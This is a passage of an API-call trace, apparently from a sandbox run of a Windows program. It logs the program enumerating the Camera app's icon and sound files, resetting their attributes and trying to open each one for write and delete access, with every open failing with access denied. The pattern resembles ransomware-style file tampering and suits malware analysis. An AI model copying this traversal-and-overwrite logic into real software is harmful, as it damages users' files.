	[0090.257] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_play_prs.png")) returned 0x20
	[0090.257] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png", dwFileAttributes=0x20) returned 0
	[0090.257] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_play_prs.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.258] GetLastError () returned 0x5
	[0090.258] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_play_prs.png", dwFileAttributes=0x20) returned 0
	[0090.258] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b550) returned 1
	[0090.258] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_rotate.png", cAlternateFileName="")) returned 1
	[0090.258] wcscmp (_String1="icon_rotate.png", _String2=".") returned 1
	[0090.258] wcscmp (_String1="icon_rotate.png", _String2="..") returned 1
	[0090.258] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d088
	[0090.258] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.258] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.258] wcscat (in: _Dest=0x491d088, _Source="icon_rotate.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png"
	[0090.258] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_rotate.png")) returned 0x20
	[0090.259] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png", dwFileAttributes=0x20) returned 0
	[0090.259] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\icon_rotate.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.259] GetLastError () returned 0x5
	[0090.260] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\icon_rotate.png", dwFileAttributes=0x20) returned 0
	[0090.260] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d088) returned 1
	[0090.260] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91ded244, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x974, dwReserved0=0x0, dwReserved1=0x0, cFileName="jit_moments.png", cAlternateFileName="")) returned 1
	[0090.260] wcscmp (_String1="jit_moments.png", _String2=".") returned 1
	[0090.260] wcscmp (_String1="jit_moments.png", _String2="..") returned 1
	[0090.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eca8
	[0090.260] wcscpy (in: _Dest=0x491eca8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.260] wcscat (in: _Dest=0x491eca8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.260] wcscat (in: _Dest=0x491eca8, _Source="jit_moments.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png"
	[0090.260] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\jit_moments.png")) returned 0x20
	[0090.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png", dwFileAttributes=0x20) returned 0
	[0090.261] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\jit_moments.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.261] GetLastError () returned 0x5
	[0090.261] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_moments.png", dwFileAttributes=0x20) returned 0
	[0090.262] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491eca8) returned 1
	[0090.262] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e1349e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jit_rich_capture.png", cAlternateFileName="")) returned 1
	[0090.262] wcscmp (_String1="jit_rich_capture.png", _String2=".") returned 1
	[0090.262] wcscmp (_String1="jit_rich_capture.png", _String2="..") returned 1
	[0090.262] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491ce80
	[0090.262] wcscpy (in: _Dest=0x491ce80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons"
	[0090.262] wcscat (in: _Dest=0x491ce80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\"
	[0090.262] wcscat (in: _Dest=0x491ce80, _Source="jit_rich_capture.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png"
	[0090.262] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\jit_rich_capture.png")) returned 0x20
	[0090.263] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png", dwFileAttributes=0x20) returned 0
	[0090.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\icons\\jit_rich_capture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.264] GetLastError () returned 0x5
	[0090.264] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Icons\\jit_rich_capture.png", dwFileAttributes=0x20) returned 0
	[0090.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491ce80) returned 1
	[0090.264] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e1349e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x82d, dwReserved0=0x0, dwReserved1=0x0, cFileName="jit_rich_capture.png", cAlternateFileName="")) returned 0
	[0090.264] FindClose (in: hFindFile=0x477aca8 | out: hFindFile=0x477aca8) returned 1
	[0090.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e10fb8) returned 1
	[0090.264] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717990) returned 1
	[0090.264] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1c741, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0090.264] wcscmp (_String1="Sounds", _String2=".") returned 1
	[0090.264] wcscmp (_String1="Sounds", _String2="..") returned 1
	[0090.264] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718280
	[0090.264] wcscpy (in: _Dest=0x4718280, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.264] wcscat (in: _Dest=0x4718280, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.264] wcscat (in: _Dest=0x4718280, _Source="Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.265] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11b88
	[0090.265] wcscpy (in: _Dest=0x2e11b88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.265] wcscat (in: _Dest=0x2e11b88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.265] wcscat (in: _Dest=0x2e11b88, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*"
	[0090.265] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502cbb0
	[0090.265] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*", lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1c741, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.265] wcscmp (_String1=".", _String2=".") returned 0
	[0090.265] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1c1c741, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.265] wcscmp (_String1="..", _String2=".") returned 1
	[0090.265] wcscmp (_String1="..", _String2="..") returned 0
	[0090.265] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e1349e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e1349e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3808, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camcorder_start_5.wav", cAlternateFileName="")) returned 1
	[0090.265] wcscmp (_String1="Camcorder_start_5.wav", _String2=".") returned 1
	[0090.265] wcscmp (_String1="Camcorder_start_5.wav", _String2="..") returned 1
	[0090.265] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778060
	[0090.265] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.265] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.265] wcscat (in: _Dest=0x4778060, _Source="Camcorder_start_5.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav"
	[0090.266] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\camcorder_start_5.wav")) returned 0x20
	[0090.268] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav", dwFileAttributes=0x20) returned 0
	[0090.269] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\camcorder_start_5.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.269] GetLastError () returned 0x5
	[0090.269] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_start_5.wav", dwFileAttributes=0x20) returned 0
	[0090.269] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.269] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e1349e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e396fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe140, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camcorder_stop_5.wav", cAlternateFileName="")) returned 1
	[0090.269] wcscmp (_String1="Camcorder_stop_5.wav", _String2=".") returned 1
	[0090.269] wcscmp (_String1="Camcorder_stop_5.wav", _String2="..") returned 1
	[0090.269] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778060
	[0090.269] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.269] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.269] wcscat (in: _Dest=0x4778060, _Source="Camcorder_stop_5.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav"
	[0090.269] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\camcorder_stop_5.wav")) returned 0x20
	[0090.269] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav", dwFileAttributes=0x20) returned 0
	[0090.269] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\camcorder_stop_5.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.269] GetLastError () returned 0x5
	[0090.270] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Camcorder_stop_5.wav", dwFileAttributes=0x20) returned 0
	[0090.270] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.270] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91e396fc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91e396fc, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="New_shutter.wav", cAlternateFileName="")) returned 1
	[0090.270] wcscmp (_String1="New_shutter.wav", _String2=".") returned 1
	[0090.270] wcscmp (_String1="New_shutter.wav", _String2="..") returned 1
	[0090.270] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491dad8
	[0090.270] wcscpy (in: _Dest=0x491dad8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.270] wcscat (in: _Dest=0x491dad8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.270] wcscat (in: _Dest=0x491dad8, _Source="New_shutter.wav" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav"
	[0090.270] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\new_shutter.wav")) returned 0x20
	[0090.274] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav", dwFileAttributes=0x20) returned 0
	[0090.274] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\assets\\sounds\\new_shutter.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.274] GetLastError () returned 0x5
	[0090.274] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\New_shutter.wav", dwFileAttributes=0x20) returned 0
